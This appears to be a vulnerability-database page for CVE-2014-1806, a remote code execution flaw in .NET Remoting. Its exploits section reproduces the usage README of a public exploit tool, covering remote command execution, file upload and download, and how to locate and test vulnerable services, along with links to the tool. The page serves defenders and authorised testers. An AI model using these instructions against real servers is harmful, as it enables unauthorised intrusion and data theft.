CVE-2014-1806

critical
Published 2014-05-14 ยท Modified 2026-05-06
CVSS v3
โ€”
CVSS v4 NEW
โ€”
not yet in upstream
VIR risk
10.0

Description

The .NET Remoting implementation in Microsoft .NET Framework 1.1 SP1, 2.0 SP2, 3.5, 3.5.1, 4, 4.5, and 4.5.1 does not properly restrict memory access, which allows remote attackers to execute arbitrary code via vectors involving malformed objects, aka "TypeFilterLevel Vulnerability."

Predictions

Exploit likelihood
20%
Patch ETA
โ€”

Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or โ€” if you've already worked around this in production โ€” publish your fix to the community-verified tier.

โœš Propose a mitigation on Community โ†’ Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here with source_tier=community-verified.

Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-35280 remote windows text ยท 4 KB
James Forshaw ยท 2014-11-17

.NET Remoting Services - Remote Command Execution

text exploit Source: Exploit-DB
Source: https://github.com/tyranid/ExploitRemotingService
Exploit Database Mirror: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/35280.zip

ExploitRemotingService (c) 2014 James Forshaw
=============================================

A tool to exploit .NET Remoting Services vulnerable to CVE-2014-1806 or CVE-2014-4149.
It only works on Windows although some aspects _might_ work in Mono on *nix.

Usage Instructions:
===================

ExploitRemotingService [options] uri command [command args]
Copyright (c) James Forshaw 2014

Uri:
The supported URI are as follows:
tcp://host:port/ObjName   - TCP connection on host and portname
ipc://channel/ObjName     - Named pipe channel

Options:

  -s, --secure               Enable secure mode
  -p, --port=VALUE           Specify the local TCP port to listen on
  -i, --ipc=VALUE            Specify listening pipe name for IPC channel
      --user=VALUE           Specify username for secure mode
      --pass=VALUE           Specify password for secure mode
      --ver=VALUE            Specify version number for remote, 2 or 4
      --usecom               Use DCOM backchannel instead of .NET remoting
      --remname=VALUE        Specify the remote object name to register
  -v, --verbose              Enable verbose debug output
      --useser               Uses old serialization tricks, only works on
	                         full type filter services
  -h, -?, --help

Commands:
exec [-wait] program [cmdline]: Execute a process on the hosting server
cmd  cmdline                  : Execute a command line process and display stdou
t
put  localfile remotefile     : Upload a file to the hosting server
get  remotefile localfile     : Download a file from the hosting server
ls   remotedir                : List a remote directory
run  file [args]              : Upload and execute an assembly, calls entry point
user                          : Print the current username
ver                           : Print the OS version

This tool supports exploit both TCP remoting services and local IPC services. To test 
the exploit you need to know the name of the .NET remoting service and the port it's
listening on (for TCP) or the name of the Named Pipe (for IPC). You can normally find 
this in the server or client code. Look for things like calls to:

RemotingConfiguration.RegisterWellKnownServiceType or Activator.CreateInstance

You can then try the exploit by constructing an appropriate URL. If TCP you can use the 
URL format tcp://hostname:port/ServiceName. For IPC use ipc://NamedPipeName/ServiceName. 

A simple test is to do:

ExploitRemotingService SERVICEURL ver

If successful it should print the OS version of the hosting .NET remoting service. If 
you get an exception it might be fixed with CVE-2014-1806. At this point try the COM 
version using:

ExploitRemotingService -usecom SERVICEURL ver

This works best locally but can work remotely if you modify the COM configuration and
disable the firewall you should be able to get it to work. If that still doesn't work
then it might be an up to date server. Instead you can also try the full serialization 
version using.

ExploitRemotingService -useser SERVICEURL ls c:\

For this to work the remoting service must be running with full typefilter mode enabled
(which is some, especially IPC services). It also only works with the commands ls, put
and get. But that should be enough to compromise a box. 

I've provided an example service to test against. 

Application impact

VendorProductVersionsFixed
windows microsoft.net_framework1.1
windows microsoft.net_framework2.0
windows microsoft.net_framework3.5
windows microsoft.net_framework3.5.1
windows microsoft.net_framework4.0
windows microsoft.net_framework4.5
windows microsoft.net_framework4.5.1

References

CWEs

CWE-94

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.